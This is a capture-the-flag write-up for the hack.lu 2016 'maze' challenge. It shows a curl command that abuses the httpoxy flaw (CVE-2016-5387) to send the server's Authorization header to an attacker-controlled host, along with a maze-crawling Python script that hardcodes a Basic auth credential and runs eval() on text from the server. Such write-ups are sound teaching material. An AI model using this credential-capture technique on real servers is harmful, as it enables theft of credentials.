hack.lu CTF 2016 - maze by pagabuc

This challenge is divided in two steps: bypass the authentication and solving the maze. The first one tooks us several hours and was at the end solved by @invano.

The source code (https://cthulhu.fluxfingers.net:1507/code.php) tell us the server is an Apache/2.4.7-ubuntu4 which is vulnerable to CVE-2016-5387, better known as httpoxy. With this vuln Apache overwrites the environment variable HTTP_PROXY with the content of the field ‘Proxy’ found in the headers. And here’s the problem: the function queryURL - which knows the credentials - honors HTTP_PROXY, thus redirecting each request to the location specified in HTTP_PROXY.

So we executed:

curl -v -H "Proxy: IP.OF.MY.SERVER:PORT" https://cthulhu.fluxfingers.net:1507/    

And on the server we received the request with the Authorization header set! Raw Image 1

To get the flag now it’s just a matter of solving the maze.

The idea is that each url represents a position in the maze. To see the reachable positions from a given one, you have to resolve a very simple captcha.

So what I did was to recursively explore each position, but paying attention to skip a path if it was already visited (otherwise you can enter an infinite loop). The script below implements the idea:

#!/usr/bin/env python2

import sys
import requests
import re
from BeautifulSoup import BeautifulSoup
from collections import defaultdict

maps = defaultdict(list)
allurls = []
        
def get_and_solve(url):
    print "[+] Get and solve %s" % url
    header = {'Authorization': 'Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk'}

    r = requests.get(url, headers=header)
    print r.text
    if "NOT THE FLAG" in r.text:
        return ["NOT THE FLAG"]

    a = re.search("([0-9]* [+-/*]) [0-9]*", r.text).group(0)
    res = eval(a)
    #print "Solve %s = %d" % (a,res)
    payload = { 'result': res}

    r = requests.post(url, headers=header, data=payload)
    print r.text

    soup = BeautifulSoup(r.text)
    urls = []
    for a in soup.findAll('a', href=True):
        print "Dumping map of %s: %s" % ( url, maps[url])
        if a['href'] not in maps[url]:
            maps[url].append(a['href'])
            urls.append('https://cthulhu.fluxfingers.net:1507/%s' % a['href'])


    return urls


def explore(p, l):
    sys.stdout.flush()
    for u in l:
        # STATS
        if u not in allurls:
            allurls.append(u)
            print "Found new state (out of %d): %s" % (len(allurls),u)

        urls = get_and_solve(u)

        if "NOT THE FLAG" in urls:
            return
        else:
            explore(u, urls)


l = ['https://cthulhu.fluxfingers.net:1507/maze/j1dgu9uxkafajnvwo10w6j5bpwr42glm/iyfu5c4wf7w6ila0pfq4dlu7lf3rn8f1.php',
 'https://cthulhu.fluxfingers.net:1507/maze/t1xdtygdurka0vwo04vxovb9h4q91tw6/2zszieqld8ghxdm43nwi7t8wh93mxau4.php',
 'https://cthulhu.fluxfingers.net:1507/maze/7v2lt3k6xsnuqywv67fxwbsdzxxzunco/j6n7ye84mmdrs5dr4wbiw6y9ttz1jpfv.php',
 'https://cthulhu.fluxfingers.net:1507/maze/o25s1yq85a30u1hqoj6mpguy12o39f4i/bnbnylcs2td9a2ni5tgvhx56mgvgfgxw.php']
explore('start',l)

After 15min of prayers (it was 11.30am and the CTF was ending in 30minutes) the script found the exit of the maze and rewarded us with a 200+ points flag: FLAG{queried_g00d_y0u_h4v3}.

Written on October 20, 2016